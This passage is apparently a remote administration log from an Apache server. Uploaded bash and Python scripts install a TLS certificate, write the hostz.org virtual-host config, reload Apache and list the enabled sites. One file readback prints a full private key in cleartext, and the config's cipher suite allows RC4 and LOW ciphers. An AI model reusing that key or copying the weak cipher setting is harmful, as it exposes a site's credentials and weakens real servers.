RGMuHGnzS3hFIrRTfKxrzUZ9RzQWzEG3K6fJ3r2nqSltkeytis9DIBoFY9VmVyjL
M71DMi+y1+TRSJVClEMwvA4yL++7q9XZx5r5wBRWB4kQTKH5qyoZnDw7iiuh1lID
yDFx8r7i9vIJU5HS3moZLkYWAOilMaV9N56A9Bgb6dNcHkvg3NoaYA==
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-06-13 20:39:00: 

chmod 755 /tmp/pkp672426; /tmp/pkp672426; rm /tmp/pkp672426

2026-06-13 20:39:00: 


dir=/etc/ssl/certs


2026-06-13 20:39:00: 

PUT: /tmp/pkp384633

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/hostz_www_org.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-06-13 20:39:00: 

chmod 755 /tmp/pkp384633; /tmp/pkp384633; rm /tmp/pkp384633

2026-06-13 20:39:00: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hostz_www_org.conf 37

<VirtualHost *:80>
    ServerName	hostz.org
    ServerAlias	www.hostz.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hostz_www
    <Directory /var/www/hostz_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hostz/www_access.log combined
    ErrorLog	/var/log/apache2/hostz/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	hostz.org
    ServerAlias	www.hostz.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d.crt
    DocumentRoot	/var/www/hostz_www
    <Directory /var/www/hostz_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hostz/www_secure_access.log combined
    ErrorLog	/var/log/apache2/hostz/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2026-06-13 20:39:00: 

PUT: /tmp/pkp243421

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=hostz_www_org.conf
TARGET=/etc/apache2/sites-enabled/hostz_www_org.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	hostz.org
    ServerAlias	www.hostz.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hostz_www
    <Directory /var/www/hostz_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hostz/www_access.log combined
    ErrorLog	/var/log/apache2/hostz/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	hostz.org
    ServerAlias	www.hostz.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d.crt
    DocumentRoot	/var/www/hostz_www
    <Directory /var/www/hostz_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hostz/www_secure_access.log combined
    ErrorLog	/var/log/apache2/hostz/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/hostz_www_org.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/hostz_www_org.conf)= /etc/apache2//etc/apache2/sites-enabled/hostz_www_org.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/hostz_www_org.conf= 1'
fi


2026-06-13 20:39:00: 

chmod 755 /tmp/pkp243421; /tmp/pkp243421; rm /tmp/pkp243421

2026-06-13 20:39:00: 




2026-06-13 20:39:00: 

PUT: /tmp/pkp697271

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-06-13 20:39:00: 

chmod 755 /tmp/pkp697271; /tmp/pkp697271; rm /tmp/pkp697271

2026-06-13 20:39:00: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-06-13 20:39:00: Establishing a connection
2026-06-13 20:39:01: 

PUT: /tmp/pkp759213

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-06-13 20:39:01: 

chmod 755 /tmp/pkp759213; /tmp/pkp759213; rm /tmp/pkp759213

2026-06-13 20:39:01: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:2)
         port 80 namevhost books.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_books_org.conf:2)
         port 80 namevhost cdn1.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf:2)
         port 80 namevhost vote.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf:2)
         port 80 namevhost hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf:1)
                 alias www.hopeinstoughton.org
         port 80 namevhost aries.hostz.org (/etc/apache2/sites-enabled/hostz_aries_org.conf:2)
         port 80 namevhost hostz.org (/etc/apache2/sites-enabled/hostz_www_org.conf:2)
                 alias www.hostz.org
         port 80 namevhost store.kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_store_org.conf:2)
         port 80 namevhost kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_www_org.conf:2)
                 alias www.kjvdictionary.org
         port 80 namevhost localhost (/etc/apache2/sites-enabled/nagios.conf:1)
         port 80 namevhost beta.patientapps.net (/etc/apache2/sites-enabled/patientapps_beta_net.conf:1)
         port 80 namevhost support.patientapps.com (/etc/apache2/sites-enabled/patientapps_support_com.conf:2)
         port 80 namevhost patientapps.co (/etc/apache2/sites-enabled/patientapps_www_co.conf:2)
                 alias www.patientapps.co
         port 80 namevhost eggshell.pjy.us (/etc/apache2/sites-enabled/pjy_eggshell_us.conf:1)
         port 80 namevhost hub.pjy.us (/etc/apache2/sites-enabled/pjy_hub_us.conf:2)
         port 80 namevhost pkp.pjy.us (/etc/apache2/sites-enabled/pjy_pkp_us.conf:1)
         port 80 namevhost pjy.us (/etc/apache2/sites-enabled/pjy_www_us.conf:2)
                 alias www.pjy.us
         port 80 namevhost stoughton.link (/etc/apache2/sites-enabled/stoughton_www_link.conf:1)
                 wild alias *.stoughton.link
         port 80 namevhost theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf:2)
                 alias www.theyoungdesigners.com
         port 80 namevhost theyoungdesigners.us (/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf:2)
                 alias www.theyoungdesigners.us
*:443                  is a NameVirtualHost
         default server anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:19)
         port 443 namevhost anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:19)
         port 443 namevhost cdn1.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf:24)
         port 443 namevhost vote.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf:26)
         port 443 namevhost hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf:24)
                 alias www.hopeinstoughton.org
         port 443 namevhost aries.hostz.org (/etc/apache2/sites-enabled/hostz_aries_org.conf:27)
         port 443 namevhost hostz.org (/etc/apache2/sites-enabled/hostz_www_org.conf:20)
                 alias www.hostz.org
         port 443 namevhost store.kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_store_org.conf:19)
         port 443 namevhost kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_www_org.conf:24)
                 alias www.kjvdictionary.org
         port 443 namevhost beta.patientapps.net (/etc/apache2/sites-enabled/patientapps_beta_net.conf:24)
         port 443 namevhost support.patientapps.com (/etc/apache2/sites-enabled/patientapps_support_com.conf:22)
         port 443 namevhost patientapps.co (/etc/apache2/sites-enabled/patientapps_www_co.conf:29)
                 alias www.patientapps.co
         port 443 namevhost eggshell.pjy.us (/etc/apache2/sites-enabled/pjy_eggshell_us.conf:23)
         port 443 namevhost hub.pjy.us (/etc/apache2/sites-enabled/pjy_hub_us.conf:22)
         port 443 namevhost pkp.pjy.us (/etc/apache2/sites-enabled/pjy_pkp_us.conf:26)
         port 443 namevhost pjy.us (/etc/apache2/sites-enabled/pjy_www_us.conf:20)
                 alias www.pjy.us
         port 443 namevhost stoughton.link (/etc/apache2/sites-enabled/stoughton_www_link.conf:27)
                 wild alias *.stoughton.link
         port 443 namevhost theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf:23)
                 alias www.theyoungdesigners.com
         port 443 namevhost theyoungdesigners.us (/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf:21)
                 alias www.theyoungdesigners.us
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
Define: ENABLE_USR_LIB_CGI_BIN
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-06-13 20:39:01: 

PUT: /tmp/pkp982754

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/hostz_www_org.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-06-13 20:39:01: 

chmod 755 /tmp/pkp982754; /tmp/pkp982754; rm /tmp/pkp982754

2026-06-13 20:39:01: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hostz_www_org.conf	1202

<VirtualHost *:80>
    ServerName	hostz.org
    ServerAlias	www.hostz.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hostz_www
    <Directory /var/www/hostz_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hostz/www_access.log combined
    ErrorLog	/var/log/apache2/hostz/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	hostz.org
    ServerAlias	www.hostz.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d.crt
    DocumentRoot	/var/www/hostz_www
    <Directory /var/www/hostz_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hostz/www_secure_access.log combined
    ErrorLog	/var/log/apache2/hostz/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2026-06-13 20:39:01: 

PUT: /tmp/pkp910508

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-06-13 20:39:01: 

chmod 755 /tmp/pkp910508; /tmp/pkp910508; rm /tmp/pkp910508

2026-06-13 20:39:01: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d.crt	7420
7f:85:25:8a:c6:41:14:e1:a8:dc:81:1f:b9:a4:01:de

-----BEGIN CERTIFICATE-----
MIIE+zCCA+OgAwIBAgISBahQB8ex6hAHfduVEuuytG/JMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNZUjIwHhcNMjYwNjEzMTk0MDI4WhcNMjYwOTExMTk0MDI3WjAUMRIwEAYDVQQD
Ewlob3N0ei5vcmcwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCz4+Ru
FMlc7YyLEEbNIQ2S0ilw22914glCBmad3t5kweI6TKeMhOg1nchqJufEosE9L+kR
aD18ljA/TSSY1XGtP/dMNgUVR7fj/chOmcdQ1IuWQiZC9JBN10WJ+AJRJQ5Cyfa/
vBtXrnpZtlKVmFpT0JKPBC0+hzko88OUlE854MehSBSW0ezXlK/rnK0+lMo29Us8
JsC5MiEZaS9ltNJQJ/J/AWGqAuKTzK7Anj4zIFLxMHyJsbLvVPsD6Tml2M37w9DS
kAP4IFnwu2AguIXGYaoFuAeNf9fpzR7lbG74UXkK8s5S6Mjz9Y0txVbzETguWHL5
+FlDdi3hEzTdFANxAgMBAAGjggImMIICIjAOBgNVHQ8BAf8EBAMCBaAwEwYDVR0l
BAwwCgYIKwYBBQUHAwEwDAYDVR0TAQH/BAIwADAdBgNVHQ4EFgQUhUfFwPK/hLLP
Li605ayYR77zePYwHwYDVR0jBBgwFoAUQBUtJnntMiCe35pyHdYyH4EMgQwwMwYI
KwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8veXIyLmkubGVuY3Iub3Jn
LzAjBgNVHREEHDAagglob3N0ei5vcmeCDXd3dy5ob3N0ei5vcmcwEwYDVR0gBAww
CjAIBgZngQwBAgEwLgYDVR0fBCcwJTAjoCGgH4YdaHR0cDovL3lyMi5jLmxlbmNy
Lm9yZy83NC5jcmwwggEMBgorBgEEAdZ5AgQCBIH9BIH6APgAdgDLOPcViXyEoURf
W8Hd+8lu8ppZzUcKaQWFsMsUwxRY5wAAAZ7CtY5dAAAEAwBHMEUCIHDUHLeiXtcU
bD3CkORj8c54nvz8LXWpWdmK7RLniRWmAiEA52Gk+1HWqNTOsjJlbR69wIIww4JV
RGxBtuB3itwzzM0AfgAm42RuWGkhI7w0P0ckNZs3ks0kWojYFdOTM/2ZGKtHIwAA
AZ7CtY2gAAgAAAUAHUUDPwQDAEcwRQIgdCuSSCVFfMxT+1epEw2uSMWdgRkDW9lW
e+WMDbRZRWQCIQCe5R4NMQzVqgb5r8gFLLlMZgkE6aYZFxIDkGhTTuuycjANBgkq
hkiG9w0BAQsFAAOCAQEAaYwvl0MBIm1fRfeYrNTJDtEnhtPeaLUDPizDdvX7agks
dbg0CaRe2jUrCDe3uBmgzj8lwDbCTM9tSV/K/+FR8ECq4R5R+uTPSG4sZ3UWFfL2
q3pqTC03qPUlJZ2VR0S+gs4iFZzAKlt+LGsLICRdMOCfoYNyS1qLzQC9pH2c5n99
R9+VYYh7x5lO/i5i4C+lixlaG6yICtHtjz8fGemH7tkxi3AFaBoSeoz/MCvOlE54
s57mcu0kdTDHk5cfV1XHUNqLYWkVC6a4vw+UUwPGocf4rBGz3DmiEOcr2GMpYibs
dy5um5NeuSDGaf9BToTEbIbl8K/MElb6G0RdbmLUhA==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQCz4+RuFMlc7YyL
EEbNIQ2S0ilw22914glCBmad3t5kweI6TKeMhOg1nchqJufEosE9L+kRaD18ljA/
TSSY1XGtP/dMNgUVR7fj/chOmcdQ1IuWQiZC9JBN10WJ+AJRJQ5Cyfa/vBtXrnpZ
tlKVmFpT0JKPBC0+hzko88OUlE854MehSBSW0ezXlK/rnK0+lMo29Us8JsC5MiEZ
aS9ltNJQJ/J/AWGqAuKTzK7Anj4zIFLxMHyJsbLvVPsD6Tml2M37w9DSkAP4IFnw
u2AguIXGYaoFuAeNf9fpzR7lbG74UXkK8s5S6Mjz9Y0txVbzETguWHL5+FlDdi3h
EzTdFANxAgMBAAECggEAFOCCCQvXh2CNmtwDji3jqzeXFfZu2+xPgmlHbSie1cGx
6sMs/2qzSk7/9zXXAw6XxO1JAWYAG3PmBeAC5cvWWrLIQADVm9p2wHpvoz5HOp3C
1L2OPt9ZhKHS+7Kb44/x35Vx0gms1gMKnFvDqiyEGyMNxz7xrfE36dqfHEtkBcWF
iEzetl1wxYz2CY/jnNWU9n3rtmbwwZfWKcjMaEkmQ4VmUSZg6WaOkk/iXoX7wCgJ
W6R9JVuST4soma8FQlgtDgxtUTmddcO7qSYKG/LCaNtsi6xpXl1DbW3rhBazSNBO
3aPVlBnugTuT/lVD/BscUuIv87aRISTDruhMPgD10wKBgQDwiNP6rbOH9i3dRX6t
Qn9V81INLbQYYAyW9vwk1aEClyTeT62AInGPUtvLZViAQ6oibcYSkvLkgbqNngdN
8HbMVzpgnNqcJLrNcEImKEHHBvQaTSAojfhKDQMLTw/7hv0ZKEJq5BoueQOl52Zq
oMe6OYtOJZo3LYelr3s7j2j7xwKBgQC/dN2qKCq8idTgjfySQDloezYo8odaKJ/9
yUQlPtXbHD4dkAtFrSA5CFiMwEOEUZr+lKpGzqag3K65Xsg5eDMfqf7pGwaBOw1n
2hOdRj9GeKOHwIEguUNhaPtMUXjUSHFZLwIdZFVVl8VCWhGtfE5s4tPQUoTHPBCO
I8454jfXBwKBgQDsnV0Rys/B3rztX1Cm9bQ3g91iU2RHWizoUNxnC7OQzcgZ3P2K
/9cAK31Fz1NJEccKiTwAx4eim689YohC9lqW1vP5WDOAyGzubRDVYmKae8+jE92f
p1Do33XwKP1K7FaL6du0NOFAeBDLoh9Qowr2uWa9ICZdQy+eIEq0o3WdvwKBgAR4
+3CtLYpoAeQZDQxxmaW6MyKzv7u4dTxdhk0EccSDnWPdaJYBHF6YtlDbcPhXW7KU
0IGE9FmPrjlAYJcPGsqjkwPpELbWJVMGwiyLZpED4nYaZinYih1tcWlwAc2bv6Ig
ugDrxh6QxBfvuLf/zmk2x1H3i4iH+68GYRvzD/DjAoGAL0yCepDCGaDP4cM8K0bC
77yWklsVJGtETLRkExCZoymIvH7dbX6Qr1kvSdWhINw47YgDB3woLSQ31WpKINfS
h9aq03zMO7rEg8Sh+Y5fh2PlLr/yGY6rTPWqHfiVjhK7QnbEvjsrv6ugevGiNQWk
GPd7gk8m72jsmVUQy6VBlB4=
-----END PRIVATE KEY-----


-----BEGIN CERTIFICATE-----
MIIE2jCCAsKgAwIBAgIQTr0klH4k05SALYSlL9WzGTANBgkqhkiG9w0BAQsFADAu
MQswCQYDVQQGEwJVUzENMAsGA1UEChMESVNSRzEQMA4GA1UEAxMHUm9vdCBZUjAe
Fw0yNTA5MDMwMDAwMDBaFw0yODA5MDIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYw
FAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQDEwNZUjIwggEiMA0GCSqGSIb3
DQEBAQUAA4IBDwAwggEKAoIBAQDZ0LxwBppqh84luqMerV/eeL/fXQ7mLQQv1Lnp
WKZbyvGpx6wh6AfnslAnF6ewTkcHA+gSOoBvm3Dfm06AuGiF+KRut4fAcowqnAQQ
CW98+QPP/eOv/wug7Iyk4NkOxf2I6g2f55T6nJoOTLFcukeRq80JGQEYan+dPFr9
OGUgQK2hGKgNkW87pappsOAuUJcroYhRt5uUis4qaZireiseu32gzDJNBAiKtsvd
6HX4v25bpkRNcS/B/Gtc9kVbUpD+2PLPxdei3Tim55k4tfAEXwD2qyiPTxrTNq6l
N+AMr5g2c1dNqkOTwjxeV6L5lpP1rGiYvLnRaPlOqyZRPW+5AgMBAAGjge4wgesw
DgYDVR0PAQH/BAQDAgGGMBMGA1UdJQQMMAoGCCsGAQUFBwMBMBIGA1UdEwEB/wQI
MAYBAf8CAQAwHQYDVR0OBBYEFEAVLSZ57TIgnt+ach3WMh+BDIEMMB8GA1UdIwQY
MBaAFN7nW2DQIm1AKH0/DQH+pLVStFGUMDIGCCsGAQUFBwEBBCYwJDAiBggrBgEF
BQcwAoYWaHR0cDovL3lyLmkubGVuY3Iub3JnLzATBgNVHSAEDDAKMAgGBmeBDAEC
ATAnBgNVHR8EIDAeMBygGqAYhhZodHRwOi8veXIuYy5sZW5jci5vcmcvMA0GCSqG
SIb3DQEBCwUAA4ICAQB0ZUQWZ9/Yn9COEpo+JfecMnB0h0vwDm/M66IqXqw3LoaL
mx9lZvRTeDIS67PUeI3yCA2W6PKRD0/FE/G57lOmS+Xy5AaaL00ICGOqjNcCaMWW
8o8nevHOd4i4lqgtznE/28QwlcdJyF8yBiWHpnyjhEpmNWJURgOCOg2xpwRMBCsj
MScqYPtOhBeuYQvSwAEeTML2Ukh6uGuX4E14q65Ja8cdjF5bAldnP1eE4FBaAwsZ
G2fOqqrKV03Y85Nw2btedP1AtliQuJZs/Jo/gXxXdc7LrH3McgnpnbTiAncX7yES
hP6kzQejllqMCIt52HOjxDGWafS7Xw+DKwqmH+Eqy8dcbOuag/1AYlQoKNVK3F5q
Hh6tEDiMqQcLIibGKteE6iHo4A/bIScbzrhXUYuism42ZYzmc48FMVIH3qy4L84E
TdAH2gtxw0PAhvRVXp8HP7wfngpzsN/8xOTpeRSbM4+Qbc56G6+Bifmv6sk1ieQb
NA3wJdl4DDUuQSV8hBgx6zoI1ZSGORprDFux7c6rhc77QZMSRrEgomBeklervEve
86ylWmZ3WWHV6RLMi8xNvjd71r4EPIGgY7BZU/VPBkq+uA7Gb6mbJnFgV43uh3xy
LRFgxIAphIukwTGSMZZR+AI+Qnp0BYTWovHXozOf3H8r6hozEoT02JHn0AeTfA==
-----END CERTIFICATE-----

-----BEGIN CERTIFICATE-----
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
-----END CERTIFICATE-----






2026-06-14 06:00:02: Establishing a connection
2026-06-14 06:00:03: Establishing a connection
2026-06-14 06:00:03: 

PUT: /tmp/pkp173846

#!/bin/bash
